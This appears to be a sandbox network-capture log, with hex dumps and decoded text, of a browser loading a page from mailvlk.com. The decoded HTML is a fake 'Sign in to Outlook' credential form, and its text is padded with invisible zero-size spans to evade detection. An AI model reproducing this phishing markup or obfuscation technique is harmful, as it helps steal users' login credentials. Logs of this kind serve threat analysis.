65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 68 33 2e 74 65 78 74 2d 6d 61 78 6c 69 Data Ascii: es-4,h2.text-maxlines-4{max-height:166.3624px;max-height:10.39765rem}.text-title,h3{font-size:24px;line-height:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.text-title.text-maxlines-1,h3.text-maxli
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 36 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 30 32 32 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 2e 38 39 37 37 72 65 6d 7d 2e 74 65 78 74 2d 63 61 70 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 2c 68 35 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 37 37 32 37 72 Data Ascii: ace:nowrap;text-overflow:ellipsis;max-height:16.3632px;max-height:1.0227rem}.text-caption.text-maxlines-2,h5.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.text-caption.text-maxlines-3,h5.text-maxlines-3{max-height:44.3632px;max-height:2.7727r
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 3a 34 30 2e 39 30 38 38 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 35 35 36 38 72 65 6d 7d 2e 74 65 78 74 2d 62 6f 64 79 2c 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 2e 32 32 37 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 2e 32 32 37 70 78 7d 2e 74 65 78 74 2d 62 6f 64 79 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 2c 70 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 Data Ascii: :40.9088px;max-height:2.5568rem}.text-body,p{font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px}.text-body.text-maxlines-1,p.text-maxlines-1{white-space:nowrap;text-overflow:elli
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 70 78 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 70 61 64 64 69 6e 67 3a 38 70 78 20 31 32 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 32 70 78 7d 2e 62 6c 6f 63 6b 71 75 6f 74 65 2d 72 65 76 65 72 73 65 2c 62 6c 6f 63 6b 71 75 6f 74 65 2e 70 75 6c 6c 2d 72 69 67 68 74 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 Data Ascii: :inline-block;padding-left:4px;padding-right:4px}blockquote{padding:8px 12px;margin:0 0 12px}.blockquote-reverse,blockquote.pull-right{padding-right:12px;padding-left:0;text-align:right}address{margin-bottom:12px}.container,.container-fluid{margin-right:a
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 78 73 2d 31 38 2c 2e 63 6f 6c 2d 73 6d 2d 31 38 2c 2e 63 6f 6c 2d 6d 64 2d 31 38 2c 2e 63 6f 6c 2d 6c 67 2d 31 38 2c 2e 63 6f 6c 2d 78 73 2d 31 39 2c 2e 63 6f 6c 2d 73 6d 2d 31 39 2c 2e 63 6f 6c 2d 6d 64 2d 31 39 2c 2e 63 6f 6c 2d 6c 67 2d 31 39 2c 2e 63 6f 6c 2d 78 73 2d 32 30 2c 2e 63 6f 6c 2d 73 6d 2d 32 30 2c 2e 63 6f 6c 2d 6d 64 2d 32 30 2c 2e 63 6f 6c 2d 6c 67 2d 32 30 2c 2e 63 6f 6c 2d 78 73 2d 32 31 2c 2e 63 6f 6c 2d 73 6d 2d 32 31 2c 2e 63 6f 6c 2d 6d 64 2d 32 31 2c 2e 63 6f 6c 2d 6c 67 2d 32 31 2c 2e 63 6f 6c 2d 78 73 2d 32 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 32 2c 2e 63 6f 6c 2d 6c 67 2d 32 32 2c 2e 63 6f 6c 2d 78 73 2d 32 33 2c 2e 63 6f 6c 2d 73 6d 2d 32 33 2c 2e 63 6f 6c 2d 6d 64 2d 32 33 2c 2e 63 6f 6c 2d 6c 67 Data Ascii: xs-18,.col-sm-18,.col-md-18,.col-lg-18,.col-xs-19,.col-sm-19,.col-md-19,.col-lg-19,.col-xs-20,.col-sm-20,.col-md-20,.col-lg-20,.col-xs-21,.col-sm-21,.col-md-21,.col-lg-21,.col-xs-22,.col-sm-22,.col-md-22,.col-lg-22,.col-xs-23,.col-sm-23,.col-md-23,.col-lg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.17	49810	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:36 UTC	1195	OUT	GET /o/8abb7bfd970b4f43108624cbc2c64b5066290cc3b78df HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:36 UTC	736	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:44:36 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WP4KGlliRBwyqcMpbAXvpzJoSbeRj523Bw6bdRhGuWLe5kNAq0WwuLwwJ7I09V5fVsrDYJUN35hOTTRZLfjoJsXvN2Bn52b0XHixyD%2FhF1h19P2TJDQ8Jfguc58VcA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796876c58937be9-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:36 UTC	633	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c 2e 38 Data Ascii: 8-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.8
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 2e 36 Data Ascii: 29,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3.6
2024-04-24 13:44:36 UTC	287	IN	Data Raw: 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 Data Ascii: .363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height="
2024-04-24 13:44:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.17	49808	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:44:36 UTC	552	OUT	GET /1 HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:44:36 UTC	738	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:44:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x8NgYtg4yYVY6Wp7TentN48%2BmdBDNDq%2BXOi480dxdfK79aNWZ7bFSiUKKTuviSBSuoq%2FHCIM9CZi2K4tgSd%2BBYKbBnkWJ5fqtOUfypyE7503GgKwpDEiCsBNiPhkqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8796876c5ccb7c83-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:44:36 UTC	631	IN	Data Raw: 37 33 62 64 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 34 62 65 30 37 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 69 67 6e 20 69 6e 20 74 6f 20 4f 75 74 6c 6f 6f 6b 20 20 20 20 20 20 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 Data Ascii: 73bd <html dir="ltr" class="8abb7bfd970b4f43108624cbc2c64b5066290cc4be077" lang="en"> <head> <title> Sign in to Outlook </title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 63 62 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 34 62 65 30 38 31 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 63 6b 67 72 6f 75 6e 64 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 34 62 65 30 38 32 22 20 72 6f 6c 65 3d 22 70 72 65 73 65 Data Ascii: 0" rel="stylesheet"> </head> <body class="cb 8abb7bfd970b4f43108624cbc2c64b5066290cc4be081" style="display: block;"> <div> <div> <div class="background 8abb7bfd970b4f43108624cbc2c64b5066290cc4be082" role="prese
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 62 65 30 61 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6c 6f 67 5f 66 6f 72 6d 22 20 63 6c 61 73 73 3d 22 69 6e 6e 65 72 20 66 61 64 65 2d 69 6e 2d 6c 69 67 68 74 62 6f 78 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 34 62 65 30 61 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 69 67 68 74 62 6f 78 2d 63 6f 76 65 72 20 38 61 62 62 37 62 66 64 39 37 30 62 34 66 34 33 31 30 38 36 32 34 63 62 63 32 63 36 34 62 35 30 36 36 32 39 30 63 63 34 62 65 30 61 33 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: be0a1"> <div id="log_form" class="inner fade-in-lightbox 8abb7bfd970b4f43108624cbc2c64b5066290cc4be0a2"> <div class="lightbox-cover 8abb7bfd970b4f43108624cbc2c64b5066290cc4be0a3"> </div>
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 32 3c 2f 73 70 61 6e 3e 69 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a Data Ascii: S<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">2</span>i<span style="display: inline; color: rgba(26, 125, 117, 0); max-width:
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 61 6c 65 72 74 22 20 61 72 69 61 2d 6c 69 76 65 3d 22 61 73 73 65 72 74 69 76 65 22 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 68 69 64 64 65 6e 3d 22 22 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 32 34 20 65 72 72 6f 72 20 65 78 74 2d 65 72 72 6f 72 22 20 69 64 3d 22 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 45 3c 73 70 61 Data Ascii: <div role="alert" aria-live="assertive"> </div> <div hidden="" class="col-md-24 error ext-error" id="usernameError"> E<spa
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 6c 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e Data Ascii: 3px; font-size: 0.02px;">8</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>l<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 61 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 64 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 Data Ascii: 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>a<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>d<span style="display: inline; color: rgba(26, 125, 117
2024-04-24 13:44:36 UTC	1369	IN	Data Raw: 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 6f 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 36 2c 20 31 32 35 2c 20 31 31 37 2c 20 30 29 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 30 2e 30 31 70 78 3b 20 6d 61 78 2d 68 65 69 67 68 74 3a 20 30 2e 30 33 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 30 32 70 78 3b 22 3e 38 3c 2f 73 70 61 6e 3e 6e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 64 69 Data Ascii: play: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>o<span style="display: inline; color: rgba(26, 125, 117, 0); max-width: 0.01px; max-height: 0.03px; font-size: 0.02px;">8</span>n<span style="di
